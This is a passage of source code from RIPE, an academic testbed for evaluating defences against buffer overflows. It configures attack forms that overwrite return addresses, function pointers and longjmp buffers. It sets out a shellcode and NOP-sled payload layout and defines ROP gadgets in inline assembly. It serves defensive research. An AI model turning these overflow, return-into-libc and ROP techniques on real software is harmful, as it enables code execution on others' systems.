opt_inject_params[5]) == 0) { 1477 | attack.inject_param = RETURN_ORIENTED_PROGRAMMING; 1478 | } else { 1479 | if(output_error_msg) { 1480 | fprintf(stderr, "Error: Unknown choice of injection parameter \"%s\"\n", 1481 | choice); 1482 | } 1483 | exit(1); 1484 | } 1485 | } 1486 | 1487 | void set_code_ptr(char *choice) { 1488 | if(strcmp(choice, opt_code_ptrs[0]) == 0) { 1489 | attack.code_ptr = RET_ADDR; 1490 | } else if(strcmp(choice, opt_code_ptrs[1]) == 0) { 1491 | attack.code_ptr = OLD_BASE_PTR; 1492 | } else if(strcmp(choice, opt_code_ptrs[2]) == 0) { 1493 | attack.code_ptr = FUNC_PTR_STACK_VAR; 1494 | } else if(strcmp(choice, opt_code_ptrs[3]) == 0) { 1495 | attack.code_ptr = FUNC_PTR_STACK_PARAM; 1496 | } else if(strcmp(choice, opt_code_ptrs[4]) == 0) { 1497 | attack.code_ptr = FUNC_PTR_HEAP; 1498 | } else if(strcmp(choice, opt_code_ptrs[5]) == 0) { 1499 | attack.code_ptr = FUNC_PTR_BSS; 1500 | } else if(strcmp(choice, opt_code_ptrs[6]) == 0) { 1501 | attack.code_ptr = FUNC_PTR_DATA; 1502 | } else if(strcmp(choice, opt_code_ptrs[7]) == 0) { 1503 | attack.code_ptr = LONGJMP_BUF_STACK_VAR; 1504 | } else if(strcmp(choice, opt_code_ptrs[8]) == 0) { 1505 | attack.code_ptr = LONGJMP_BUF_STACK_PARAM; 1506 | } else if(strcmp(choice, opt_code_ptrs[9]) == 0) { 1507 | attack.code_ptr = LONGJMP_BUF_HEAP; 1508 | } else if(strcmp(choice, opt_code_ptrs[10]) == 0) { 1509 | attack.code_ptr = LONGJMP_BUF_BSS; 1510 | } else if(strcmp(choice, opt_code_ptrs[11]) == 0) { 1511 | attack.code_ptr = LONGJMP_BUF_DATA; 1512 | } else if(strcmp(choice,opt_code_ptrs[12]) == 0){ 1513 | attack.code_ptr = STRUCT_FUNC_PTR_STACK; 1514 | } 1515 | else if(strcmp(choice,opt_code_ptrs[13]) == 0){ 1516 | attack.code_ptr = STRUCT_FUNC_PTR_HEAP; 1517 | } 1518 | else if(strcmp(choice,opt_code_ptrs[14]) == 0){ 1519 | attack.code_ptr = STRUCT_FUNC_PTR_DATA; 1520 | } 1521 | else if(strcmp(choice,opt_code_ptrs[15]) == 0){ 1522 | attack.code_ptr = STRUCT_FUNC_PTR_BSS; 1523 | } 1524 | 1525 | else { 1526 | if(output_error_msg) { 1527 | fprintf(stderr, "Error: Unknown choice of code pointer \"%s\"\n", 1528 | choice); 1529 | } 1530 | exit(1); 1531 | } 1532 | } 1533 | 1534 | void set_location(char *choice) { 1535 | if(strcmp(choice, opt_locations[0]) == 0) { 1536 | attack.location = STACK; 1537 | } else if(strcmp(choice, opt_locations[1]) == 0) { 1538 | attack.location = HEAP; 1539 | } else if(strcmp(choice, opt_locations[2]) == 0) { 1540 | attack.location = BSS; 1541 | } else if(strcmp(choice, opt_locations[3]) == 0) { 1542 | attack.location = DATA; 1543 | } else { 1544 | if(output_error_msg) { 1545 | fprintf(stderr, "Error: Unknown choice of memory location \"%s\"\n", 1546 | choice); 1547 | } 1548 | exit(1); 1549 | } 1550 | } 1551 | 1552 | void set_function(char *choice) { 1553 | if(strcmp(choice, opt_funcs[0]) == 0) { 1554 | attack.function = MEMCPY; 1555 | } else if(strcmp(choice, opt_funcs[1]) == 0) { 1556 | attack.function = STRCPY; 1557 | } else if(strcmp(choice, opt_funcs[2]) == 0) { 1558 | attack.function = STRNCPY; 1559 | } else if(strcmp(choice, opt_funcs[3]) == 0) { 1560 | attack.function = SPRINTF; 1561 | } else if(strcmp(choice, opt_funcs[4]) == 0) { 1562 | attack.function = SNPRINTF; 1563 | } else if(strcmp(choice, opt_funcs[5]) == 0) { 1564 | attack.function = STRCAT; 1565 | } else if(strcmp(choice, opt_funcs[6]) == 0) { 1566 | attack.function = STRNCAT; 1567 | } else if(strcmp(choice, opt_funcs[7]) == 0) { 1568 | attack.function = SSCANF; 1569 | } else if(strcmp(choice, opt_funcs[8]) == 0) { 1570 | attack.function = FSCANF; 1571 | } else if(strcmp(choice, opt_funcs[9]) == 0) { 1572 | attack.function = HOMEBREW; 1573 | } else { 1574 | if(output_error_msg) { 1575 | fprintf(stderr, "Error: Unknown choice of vulnerable function \"%s\"\n", 1576 | choice); 1577 | } 1578 | exit(1); 1579 | } 1580 | } 1581 | 1582 | boolean contains_terminating_char(unsigned long value) { 1583 | size_t i; 1584 | char temp; 1585 | 1586 | for(i = 0; i < sizeof(long); i++) { 1587 | temp = (char)(value & (unsigned char)-1); 1588 | if(temp == '\0' || /* NUL */ 1589 | temp == '\r' || /* Carriage return */ 1590 | temp == '\n' ) /* New line (or Line feed) */ 1591 | //temp == (char)0xff) /* -1 */ 1592 | { 1593 | return TRUE; 1594 | } 1595 | // CHAR_BIT declared in limits.h 1596 | value >>= CHAR_BIT; 1597 | } 1598 | return FALSE; 1599 | } 1600 | 1601 | void remove_all_terminating_chars(char *contents, size_t length) { 1602 | size_t i; 1603 | 1604 | for(i = 0; i < length; i++) { 1605 | if(contents[i] == '\0' || /* NUL */ 1606 | contents[i] == '\r' || /* Carriage return */ 1607 | contents[i] == '\n') { /* New line (or Line feed) */ 1608 | contents[i]++; 1609 | } else if(contents[i] == (char)0xff) { /* -1 */ 1610 | contents[i]--; 1611 | } 1612 | } 1613 | } 1614 | 1615 | void remove_nulls(char *contents, size_t length) { 1616 | size_t i; 1617 | 1618 | for(i = 0; i < length; i++) { 1619 | if(contents[i] == '\0') /* NUL */ 1620 | contents[i]++; 1621 | } 1622 | } 1623 | 1624 | 1625 | /* MEMORY DUMP FUNCTIONS */ 1626 | 1627 | void print_payload_info(FILE *stream, CHARPAYLOAD *payload) { 1628 | switch(payload->inject_param) { 1629 | case INJECTED_CODE_NO_NOP: 1630 | fprintf(stream, "\nChar payload without NOP sled\n"); 1631 | break; 1632 | case INJECTED_CODE_SIMPLE_NOP: 1633 | fprintf(stream, "\nChar payload with simple NOP sled\n"); 1634 | break; 1635 | case INJECTED_CODE_POLY_NOP: 1636 | fprintf(stream, "\nChar payload with polymorphic NOP sled\n"); 1637 | break; 1638 | case RETURN_INTO_LIBC: 1639 | fprintf(stream, "\nChar payload aimed at return into libc\n"); 1640 | break; 1641 | case CREATE_FILE: 1642 | fprintf(stream, "\nChar payload aimed at creating a file in /tmp/rip-eval/\n"); 1643 | break; 1644 | default: 1645 | if(output_error_msg) { 1646 | fprintf(stderr, "Error: Unknown choice of attack parameter"); 1647 | } 1648 | exit(1); 1649 | break; 1650 | } 1651 | 1652 | fprintf(stream, "Buffer size set: %i\n\n", payload->size); 1653 | // printf("Actual buffer size: %i\n", sizeof(payload->buffer)); 1654 | // print_memory(stream, payload->buffer, payload->size); 1655 | // fprintf(stream, "\n\n"); 1656 | } 1657 | 1658 | static char *pointer; // Global to leave stack untouched 1659 | 1660 | void print_memory(FILE *stream, char *start, size_t words) { 1661 | for(pointer = start; pointer < (char *)(start + words); pointer += 4) { 1662 | fprintf(stream, "%p: 0x%x\n", pointer, *(unsigned int*)pointer); 1663 | } 1664 | } 1665 | 1666 | static size_t iterator; 1667 | 1668 | void save_memory(MEM_DUMP *dump, char *start, size_t size) { 1669 | pointer = start; 1670 | for(iterator = 0; iterator < size; iterator++) { 1671 | snprintf(dump[iterator].address, HEX_STRING_SIZE, 1672 | "%p", pointer); 1673 | snprintf(dump[iterator].value, HEX_STRING_SIZE, 1674 | "0x%x", *(unsigned int*)pointer); 1675 | pointer += sizeof(long); 1676 | } 1677 | } 1678 | 1679 | void print_two_memory_dumps(FILE *stream, 1680 | MEM_DUMP *dump1, 1681 | MEM_DUMP *dump2, 1682 | size_t size) { 1683 | fprintf(stream, "%-22s%-22s\n", "Memory dump 1", "Memory dump 2"); 1684 | fprintf(stream, "%-11s%-11s%-11s%-11s\n\n", 1685 | "Address", "Value", "Value", "Address"); 1686 | { 1687 | size_t i; 1688 | for(i = 0; i < size; i++) { 1689 | fprintf(stream, "%-11s%-11s%-11s%-11s\n", 1690 | dump1[i].address, dump1[i].value, 1691 | dump2[i].value, dump2[i].address); 1692 | } 1693 | } 1694 | fprintf(stream, "\n\n"); 1695 | } 1696 | 1697 | void print_three_memory_dumps(FILE *stream, 1698 | MEM_DUMP *dump1, 1699 | MEM_DUMP *dump2, 1700 | MEM_DUMP *dump3, 1701 | size_t size) { 1702 | fprintf(stream, "%-22s%-22s%-22s\n", 1703 | "Memory dump 1", "Memory dump 2", "Memory dump 3"); 1704 | fprintf(stream, "%-11s%-11s%-11s%-11s%-11s%-11s\n", 1705 | "Address", "Value", "Value", "Address", "Value", "Address"); 1706 | { 1707 | size_t i; 1708 | for(i = 0; i < size; i++) { 1709 | fprintf(stream, "%-11s%-11s%-11s%-11s%-11s%-11s\n", 1710 | dump1[i].address, dump1[i].value, 1711 | dump2[i].value, dump2[i].address, 1712 | dump3[i].value, dump3[i].address); 1713 | } 1714 | } 1715 | fprintf(stream, "\n\n"); 1716 | } 1717 | 1718 | /*************************************/ 1719 | /* Check for impossible attack forms */ 1720 | /*************************************/ 1721 | boolean is_attack_possible() { 1722 | switch(attack.location) { 1723 | case STACK: 1724 | if((attack.technique == DIRECT) && 1725 | ((attack.code_ptr == FUNC_PTR_HEAP) || 1726 | (attack.code_ptr == FUNC_PTR_BSS) || 1727 | (attack.code_ptr == FUNC_PTR_DATA) || 1728 | (attack.code_ptr == LONGJMP_BUF_HEAP) || 1729 | (attack.code_ptr == LONGJMP_BUF_BSS) || 1730 | (attack.code_ptr == LONGJMP_BUF_DATA) || 1731 | (attack.code_ptr == STRUCT_FUNC_PTR_HEAP) || 1732 | (attack.code_ptr == STRUCT_FUNC_PTR_DATA) || 1733 | (attack.code_ptr == STRUCT_FUNC_PTR_BSS) )) { 1734 | if(output_error_msg) { 1735 | fprintf(stderr, "Error: Impossible to perform a direct attack on the stack into another memory segment.\n"); 1736 | } 1737 | return FALSE; 1738 | } 1739 | break; 1740 | case HEAP: 1741 | if((attack.technique == DIRECT) && 1742 | ((attack.code_ptr == RET_ADDR) || 1743 | (attack.code_ptr == OLD_BASE_PTR) || 1744 | (attack.code_ptr == FUNC_PTR_STACK_VAR) || 1745 | (attack.code_ptr == FUNC_PTR_STACK_PARAM) || 1746 | (attack.code_ptr == FUNC_PTR_BSS) || 1747 | (attack.code_ptr == FUNC_PTR_DATA) || 1748 | (attack.code_ptr == LONGJMP_BUF_STACK_VAR) || 1749 | (attack.code_ptr == LONGJMP_BUF_STACK_PARAM) || 1750 | (attack.code_ptr == LONGJMP_BUF_BSS) || 1751 | (attack.code_ptr == LONGJMP_BUF_DATA) || 1752 | (attack.code_ptr == STRUCT_FUNC_PTR_DATA) || 1753 | (attack.code_ptr == STRUCT_FUNC_PTR_STACK) || 1754 | (attack.code_ptr == STRUCT_FUNC_PTR_BSS) )) { 1755 | if(output_error_msg) { 1756 | fprintf(stderr, "Error: Impossible perform a direct attack on the heap into another memory segment.\n"); 1757 | } 1758 | return FALSE; 1759 | } 1760 | break; 1761 | case BSS: 1762 | if((attack.technique == DIRECT) && 1763 | ((attack.code_ptr == RET_ADDR) || 1764 | (attack.code_ptr == OLD_BASE_PTR) || 1765 | (attack.code_ptr == FUNC_PTR_STACK_VAR) || 1766 | (attack.code_ptr == FUNC_PTR_STACK_PARAM) || 1767 | (attack.code_ptr == FUNC_PTR_HEAP) || 1768 | (attack.code_ptr == FUNC_PTR_DATA) || 1769 | (attack.code_ptr == LONGJMP_BUF_STACK_VAR) || 1770 | (attack.code_ptr == LONGJMP_BUF_STACK_PARAM) || 1771 | (attack.code_ptr == LONGJMP_BUF_HEAP) || 1772 | (attack.code_ptr == LONGJMP_BUF_DATA) || 1773 | (attack.code_ptr == STRUCT_FUNC_PTR_DATA) || 1774 | (attack.code_ptr == STRUCT_FUNC_PTR_STACK) || 1775 | (attack.code_ptr == STRUCT_FUNC_PTR_HEAP) )) { 1776 | if(output_error_msg) { 1777 | fprintf(stderr, "Error: Impossible to peform a direct attack in the BSS segment into another memory segment.\n"); 1778 | } 1779 | return FALSE; 1780 | } 1781 | break; 1782 | case DATA: 1783 | if((attack.technique == DIRECT) && 1784 | ((attack.code_ptr == RET_ADDR) || 1785 | (attack.code_ptr == OLD_BASE_PTR) || 1786 | (attack.code_ptr == FUNC_PTR_STACK_VAR) || 1787 | (attack.code_ptr == FUNC_PTR_STACK_PARAM) || 1788 | (attack.code_ptr == FUNC_PTR_HEAP) || 1789 | (attack.code_ptr == FUNC_PTR_BSS) || 1790 | (attack.code_ptr == LONGJMP_BUF_STACK_VAR) || 1791 | (attack.code_ptr == LONGJMP_BUF_STACK_PARAM) || 1792 | (attack.code_ptr == LONGJMP_BUF_HEAP) || 1793 | (attack.code_ptr == LONGJMP_BUF_BSS) || 1794 | 1795 | (attack.code_ptr == STRUCT_FUNC_PTR_STACK) || 1796 | (attack.code_ptr == STRUCT_FUNC_PTR_HEAP) || 1797 | (attack.code_ptr == STRUCT_FUNC_PTR_BSS) )) { 1798 | if(output_error_msg) { 1799 | fprintf(stderr, "Error: Impossible to perform a direct attack in the Data segment into another memory segment.\n"); 1800 | } 1801 | 1802 | 1803 | return FALSE; 1804 | } 1805 | break; 1806 | default: 1807 | if(output_error_msg) { 1808 | fprintf(stderr, "Error: Unknown choice of buffer location\n"); 1809 | } 1810 | return FALSE; 1811 | } 1812 | 1813 | // Indirect attacks doing return-into-libc are considered 1814 | // impossible since the attacker cannot inject a parameter, 1815 | // e.g. the parameter "/bin/sh" to system(). 1816 | // The exception to the rule is an attack against the old 1817 | // base pointer we're the attacker injects a whole fake 1818 | // stack frame. 1819 | if(attack.technique == INDIRECT && 1820 | attack.inject_param == RETURN_INTO_LIBC && 1821 | attack.code_ptr != OLD_BASE_PTR) { 1822 | if(output_error_msg) { 1823 | fprintf(stderr, "Error: Impossible to perform an indirect return-into-libc attack since parameters for the libc function cannot be injected.\n"); 1824 | } 1825 | return FALSE; 1826 | } 1827 | 1828 | //NN For now only direct attacks to struct_func 1829 | switch (attack.code_ptr){ 1830 | case STRUCT_FUNC_PTR_STACK: 1831 | case STRUCT_FUNC_PTR_HEAP: 1832 | case STRUCT_FUNC_PTR_DATA: 1833 | case STRUCT_FUNC_PTR_BSS: 1834 | if(attack.technique != DIRECT){ 1835 | fprintf(stderr,"Error: Impossible...for now at least :)\n"); 1836 | return FALSE; 1837 | } 1838 | break; 1839 | 1840 | default: 1841 | break; 1842 | } 1843 | if(attack.inject_param == RETURN_ORIENTED_PROGRAMMING && (attack.technique != DIRECT || attack.code_ptr != RET_ADDR)){ 1844 | fprintf(stderr,"Error: Impossible...for now at least :)\n"); 1845 | return FALSE; 1846 | } 1847 | 1848 | return TRUE; 1849 | } 1850 | 1851 | void homebrew_memcpy(void *dst, const void *src, size_t length) { 1852 | char *d, *s; 1853 | 1854 | d = (char *)dst; 1855 | s = (char *)src; 1856 | 1857 | while(length--) { 1858 | *d++ = *s++; 1859 | } 1860 | } 1861 | 1862 | //NN: Dummy functions used to create gadgets for the ROP attack 1863 | 1864 | void gadget1(int a, int b){ 1865 | int arthur,dent,j; 1866 | arthur = a + b / 42; 1867 | 1868 | for(j=0;j<10;j++); 1869 | //Gadget 1, locate at gardget1 + 62 bytes 1870 | asm("nop"); //Using this to find it easier in dissas code 1871 | asm("pop %eax"); //FFFFFFFF => 8 1872 | asm("add $9, %eax"); 1873 | asm("ret"); 1874 | 1875 | return; 1876 | 1877 | } 1878 | void gadget2(int a, int b){ 1879 | int ford,prefect,j; 1880 | ford = a + b / 43; 1881 | //Gadget 1, locate at gadget2 + 62 bytes 1882 | for(j=0;j<10;j++); 1883 | asm("nop"); 1884 | asm("pop %ebx"); 1885 | asm("pop %ecx"); //FFFFFFFF => 448 1886 | asm("add $449, %ecx"); 1887 | asm("ret"); 1888 | 1889 | return; 1890 | 1891 | } 1892 | int gadget3(int a, int b){ 1893 | int i,j; 1894 | i = a + b / 33; 1895 | 1896 | for(j=0;j<10;j++); 1897 | //Gadget3 starts here, located at gadget3 + 62 bytes 1898 | asm("nop"); 1899 | asm("int $0x80"); 1900 | 1901 | return 42; 1902 | 1903 | 1904 | } 1905 | 1906 | -------------------------------------------------------------------------------- /source/ripe_attack_generator.h: -------------------------------------------------------------------------------- 1 | /* RIPE was originally developed by John Wilander (@johnwilander) 2 | * and was debugged and extended by Nick Nikiforakis (@nicknikiforakis) 3 | * 4 | * Released under the MIT license (see file named LICENSE) 5 | * 6 | * This program is part the paper titled 7 | * RIPE: Runtime Intrusion Prevention Evaluator 8 | * Authored by: John Wilander, Nick Nikiforakis, Yves Younan, 9 | * Mariam Kamkar and Wouter Joosen 10 | * Published in the proceedings of ACSAC 2011, Orlando, Florida 11 | * 12 | * Please cite accordingly. 13 | */ 14 | 15 | /** 16 | * @author John Wilander 17 | * 2007-01-16 18 | */ 19 | 20 | #ifndef RIPE_ATTACK_GENERATOR_H 21 | #define RIPE_ATTACK_GENERATOR_H 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #include "ripe_attack_parameters.h" 36 | 37 | typedef int boolean; 38 | enum booleans {FALSE=0, TRUE}; 39 | 40 | #define DEFAULT_DUMP_SIZE 192 41 | #define HEX_STRING_SIZE 11 /* Including null terminator */ 42 | 43 | #define DEBUG_MEMDUMP "./result/debug_memdump.txt" 44 | 45 | typedef struct attack_form ATTACK_FORM; 46 | struct attack_form { 47 | enum techniques technique; 48 | enum inject_params inject_param; 49 | enum code_ptrs code_ptr; 50 | enum locations location; 51 | enum functions function; 52 | }; 53 | 54 | typedef struct char_payload CHARPAYLOAD; 55 | struct char_payload { 56 | enum inject_params inject_param; 57 | size_t size; 58 | void *overflow_ptr; /* Points to code pointer (direct attack) */ 59 | /* or general pointer (indirect attack) */ 60 | char *buffer; 61 | 62 | jmp_buf *jmp_buffer; 63 | 64 | long stack_jmp_buffer_param; 65 | size_t offset_to_copied_base_ptr; 66 | size_t offset_to_fake_return_addr; 67 | long *fake_return_addr; 68 | long *ptr_to_correct_return_addr; 69 | }; 70 | 71 | typedef struct memory_dump MEM_DUMP; 72 | struct memory_dump { 73 | char address[HEX_STRING_SIZE]; 74 | char value[HEX_STRING_SIZE]; 75 | }; 76 | 77 | struct attackme{ 78 | char buffer[256]; 79 | int (*func_ptr)(const char *, int); 80 | }; 81 | 82 | /** 83 | * main 84 | * -t technique 85 | * -i injection parameter (code + NOP / return-into-libc / param to system()) 86 | * -c code pointer 87 | * -l memory location 88 | * -f function to overflow with 89 | * -d output debug info (set to 't' for TRUE) 90 | * (-e output error messages) 91 | * -o set output stream 92 | */ 93 | int main(int argc, char **argv); 94 | 95 | void perform_attack(FILE *output_stream, 96 | int (*stack_func_ptr_param)(const char *), 97 | jmp_buf stack_jmp_buffer_param); 98 | 99 | /* BUILD_PAYLOAD() */ 100 | /* */ 101 | /* Simplified example of payload (exact figures are just made up): */ 102 | /* */ 103 | /* size = 31 (the total payload size) */ 104 | /* size_sc = 12 (size of shellcode incl NOP) */ 105 | /* size_addr = 4 (size of address to code) */ 106 | /* size_null = 1 (size of null termination) */ 107 | /* */ 108 | /* ------------ ----------------- ------------- - */ 109 | /* | Shell code | Padded bytes | Address |N| */ 110 | /* | including | | back to |u| */ 111 | /* | optional | | NOP sled or |l| */ 112 | /* | NOP sled | | shell code |l| */ 113 | /* ------------ ----------------- ------------- - */ 114 | /* | | | | | | | */ 115 | /* 0 11 12 25 26 29 30 */ 116 | /* / \ / \ \ */ 117 | /* size_sc-1 size_sc / \ size-size_null */ 118 | /* / \ */ 119 | /* (size-1)-size_addr-size_null size-size_addr-size_null */ 120 | /* */ 121 | /* This means that we should pad with */ 122 | /* size - size_sc - size_addr - size_null = 31-12-4-1 = 14 bytes */ 123 | /* and start the padding at index size_sc */ 124 | boolean build_payload(CHARPAYLOAD *payload); 125 | 126 | boolean contains_terminating_char(unsigned long value); 127 | void remove_terminating_chars(char *contents, size_t length); 128 | void remove_nulls(char *contents, size_t length); 129 | 130 | void set_technique(char *choice); 131 | void set_inject_param(char *choice); 132 | void set_code_ptr(char *choice); 133 | void set_location(char *choice); 134 | void set_function(char *choice); 135 | 136 | int dummy_function(const char *str) { 137 | return 0; 138 | } 139 | 140 | void save_memory(struct memory_dump *dump, char *start, size_t size); 141 | void print_payload_info(FILE *stream, CHARPAYLOAD *payload); 142 | void print_memory(FILE *stream, char *start, size_t words); 143 | void print_two_memory_dumps(FILE *stream, 144 | struct memory_dump *dump1, 145 | struct memory_dump *dump2, 146 | size_t size); 147 | void print_three_memory_dumps(FILE *stream, 148 | struct memory_dump *dump1, 149 | struct memory_dump *dump2, 150 | struct memory_dump *dump3, 151 | size_t size); 152 | 153 | boolean is_attack_possible(); 154 | void homebrew_memcpy(void *dst, const void *src, size_t len); 155 | 156 | //NN 157 | void gadget1(int a, int b); 158 | void gadget2(int a, int b); 159 | int gadget3(int a, int b); 160 | 161 | #endif /* !RIPE_ATTACK_GENERATOR_H */ 162 | -------------------------------------------------------------------------------- /source/ripe_attack_parameters.h: -------------------------------------------------------------------------------- 1 | /* RIPE was originally developed by John Wilander (@johnwilander) 2 | * and was debugged and extended by Nick Nikiforakis (@nicknikiforakis) 3 | * 4 | * Released under the MIT license (see file named LICENSE) 5 | * 6 | * This program is part the paper titled 7 | * RIPE: Runtime Intrusion Prevention Evaluator 8 | * Authored by: John Wilander, Nick Nikiforakis, Yves Younan, 9 | * Mariam Kamkar and Wouter Joosen 10 | * Published in the proceedings of ACSAC 2011, Orlando, Florida 11 | * 12 | * Please cite accordingly. 13 | */ 14 | 15 | /** 16 | * @author John Wilander 17 | * 2007-01-16 18 | */ 19 | 20 | #ifndef RIPE_ATTACK_PARAMETERS_H 21 | #define RIPE_ATTACK_PARAMETERS_H 22 | 23 | #define ATTACK_IMPOSSIBLE -900 24 | #define ATTACK_NOT_IMPLEMENTED -909 25 | 26 | /* Enumerations for typing of attack form parameters */ 27 | /* Each enumeration has its own integer space to provide better type safety */ 28 | enum techniques {DIRECT=100, INDIRECT}; 29 | enum inject_params {INJECTED_CODE_NO_NOP=200, INJECTED_CODE_SIMPLE_NOP, 30 | INJECTED_CODE_POLY_NOP, RETURN_INTO_LIBC, CREATE_FILE, RETURN_ORIENTED_PROGRAMMING}; 31 | 32 | enum code_ptrs {RET_ADDR=300, OLD_BASE_PTR, 33 | FUNC_PTR_STACK_VAR, FUNC_PTR_STACK_PARAM, 34 | FUNC_PTR_HEAP, FUNC_PTR_BSS, FUNC_PTR_DATA, 35 | LONGJMP_BUF_STACK_VAR, LONGJMP_BUF_STACK_PARAM, 36 | LONGJMP_BUF_HEAP, LONGJMP_BUF_BSS, LONGJMP_BUF_DATA, 37 | STRUCT_FUNC_PTR_STACK,STRUCT_FUNC_PTR_HEAP, 38 | STRUCT_FUNC_PTR_DATA,STRUCT_FUNC_PTR_BSS 39 | 40 | }; 41 | enum locations {STACK=400, HEAP, BSS, DATA}; 42 | enum functions {MEMCPY=500, STRCPY, STRNCPY, SPRINTF, SNPRINTF, 43 | STRCAT, STRNCAT, SSCANF, FSCANF, HOMEBREW}; 44 | 45 | /* 2 overflow techniques */ 46 | size_t nr_of_techniques = 2; 47 | char *opt_techniques[] = {"direct", "indirect"}; 48 | 49 | /* 4 types of injection parameters */ 50 | size_t nr_of_inject_params = 6; 51 | char *opt_inject_params[] = {"nonop", "simplenop", "polynop", 52 | "returnintolibc","createfile","rop"}; 53 | 54 | /* 12 code pointers to overwrite */ 55 | size_t nr_of_code_ptrs = 16; 56 | char *opt_code_ptrs[] = {"ret", "baseptr", 57 | "funcptrstackvar", "funcptrstackparam", 58 | "funcptrheap", "funcptrbss", "funcptrdata", 59 | "longjmpstackvar", "longjmpstackparam", 60 | "longjmpheap", "longjmpbss", "longjmpdata", 61 | "structfuncptrstack","structfuncptrheap", 62 | "structfuncptrdata","structfuncptrbss" 63 | }; 64 | 65 | /* 4 memory locations */ 66 | size_t nr_of_locations = 4; 67 | char *opt_locations[] = {"stack", "heap", "bss", "data"}; 68 | 69 | /* 10 vulnerable functions */ 70 | size_t nr_of_funcs = 10; 71 | char *opt_funcs[] = {"memcpy", "strcpy", "strncpy", "sprintf", "snprintf", 72 | "strcat", "strncat", "sscanf", "fscanf", "homebrew"}; 73 | 74 | #endif /* !RIPE_ATTACK_PARAMETERS_H */ 75 | --------------------------------------------------------------------------------